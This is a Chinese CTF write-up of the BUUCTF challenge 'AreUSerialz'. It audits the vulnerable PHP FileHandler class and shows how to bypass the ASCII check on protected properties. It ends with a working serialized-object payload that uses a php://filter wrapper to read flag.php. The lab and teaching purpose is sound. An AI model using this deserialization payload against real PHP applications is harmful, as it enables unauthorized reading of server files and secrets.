当前位置: 首页 > article >正文

2025.2.5——五、[网鼎杯 2020 青龙组]AreUSerialz 代码审计|反序列化

题目来源:BUUCTF  [网鼎杯 2020 青龙组]AreUSerialz

目录

一、打开靶机,整理信息

二、解题思路

step 1:代码审计

step 2:开始解题

突破protected访问修饰符限制

三、小结


一、打开靶机,整理信息

        直接得到一串php代码,根据题目可以看到还有序列化

二、解题思路

step 1:代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {  //创建FileHandler类

    //定义了三个受保护的属性
    protected $op;
    protected $filename;
    protected $content;

    //构造函数,对三个受保护的属性进行初始化,然后调用process()方法
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    //定义公共的成员方法,并根据$this->op的值来执行不同的操作
    public function process() {
        if($this->op == "1") {
            $this->write();  //值为1,则调用write方法进行文件写入操作
        } else if($this->op == "2") {
            $res = $this->read();  //值为2,则调用read方法读取文件内容,并将结果传递给output方法输出
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    //定义公共的成员方法
    private function write() {
        if(isset($this->filename) && isset($this->content)) {  //检查二者是否都已设置
            if(strlen((string)$this->content) > 100) {  //经检查$thie->content的长度
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);  //使用file_put_contents函数将$this->content写入$this->filename文件中,根据写入结果输出相应的信息
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {  //检查$this->filename是否已设置,如果设置则使用file_get_contents()函数读取该文件的内容并返回
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    //输出[Result]: <br>作为前缀,然后输出传入的字符串$s
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    //析构函数,如果$this->op严格等于"2",则将其设置为"1",清空$this->content,然后调用process()方法。
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

//检查传入的字符串$s中的每个字符的ASCII码是否在32到125之间,如果有不在该范围内的字符则返回false,否则返回true
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

//处理GET请求
if(isset($_GET{'str'})) {  //检查GET请求是否包含str参数,如果包含,将其转换为字符串并调用is_valid()函数进行验证

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);  //验证通过则对该字符串进行反序列化操作
    }

}

代码总结:几个重要的点①满足op=1,则进行write写入操作,op=2,就会执行read方法和output方法;②满足content<100,则将$this->content写入$this->filename文件中;③利用ord函数,检查$s的字符串的ASCII值是否在32-125之间(包含了空格、符号、数字、大小写字母),这里用%00转换为\00即可绕过;④GET方式传参,参数是str,传入的值为字符串类型,然后要进行反序列化操作

step 2:开始解题

        要想得到flag,需要绕过process方法,防止op=1,所以令op=2,直接进入read函数,然后传入filename,并使用file_get_contents函数读取文件,可以借助php://filter伪协议读取文件,获取文件后使用output函数输出

        一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

摘自[网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园

突破protected访问修饰符限制

        大佬的脚本如下([网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园)

<?php
 
class FileHandler {
 
    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        // $this->process();
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        // $this->process();
    }
 
}
$A=new FileHandler();
$B=serialize($A);
echo $B;

        运行得到的结果有三个地方字符显示不正确的地方就是%00字符,这里可以利用本地序列化的时候将属性改为public进行绕过(php7.1+版本对属性类型不敏感),即

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

得到正常结果

        构造payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码过的信息,进行base64解码,得到flag

三、小结

1.和反序列化有关的题目还是得写脚本

2.新知识:突破protected访问修饰符限制


http://www.kler.cn/a/537229.html

相关文章:

  • idea启动报错# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00007ffccf76e433
  • python编程-内置函数bin(),bool(),abs() ,all(),any(),ascii(),max(),min() 详解
  • windows 蓝牙驱动开发-传输总线驱动程序常见问题
  • 判断您的Mac当前使用的是Zsh还是Bash:echo $SHELL、echo $0
  • MTGNN论文解读
  • .net的一些知识点6
  • AlphaGPT获国家AIGC生成式算法备案,推动法律AI技术安全合规发展
  • Linux之kernel(7)系统调用源码分析
  • 三轴云台之加速度计篇
  • 大规模多准则决策模型构建详细方案
  • 轻量级服务器http-server
  • 仓颉编程语言:编程世界的 “文化瑰宝”
  • iOS三方登录 - Facebook登录
  • es6中关于symbol的用法,以及使用场景
  • Kotlin 2.1.0 入门教程(十)
  • TAPEX:通过神经SQL执行器学习的表格预训练
  • Ubuntu20.04 本地部署 DeepSeek-R1 及 chatbox可视化
  • TCN时间卷积神经网络多变量多步光伏功率预测(Matlab)
  • 4-redis分片集群
  • springboot配置redis
  • RTOS基础(TODO)
  • Jupyter Notebook使用指南--虚拟环境
  • 使用scoop 下载速度慢怎么办
  • Day38【AI思考】-彻底打通线性数据结构间的血脉联系
  • 位置定位与IP属地:异同解析与实际应用
  • ios应用想要下载到手机上只能苹果签名吗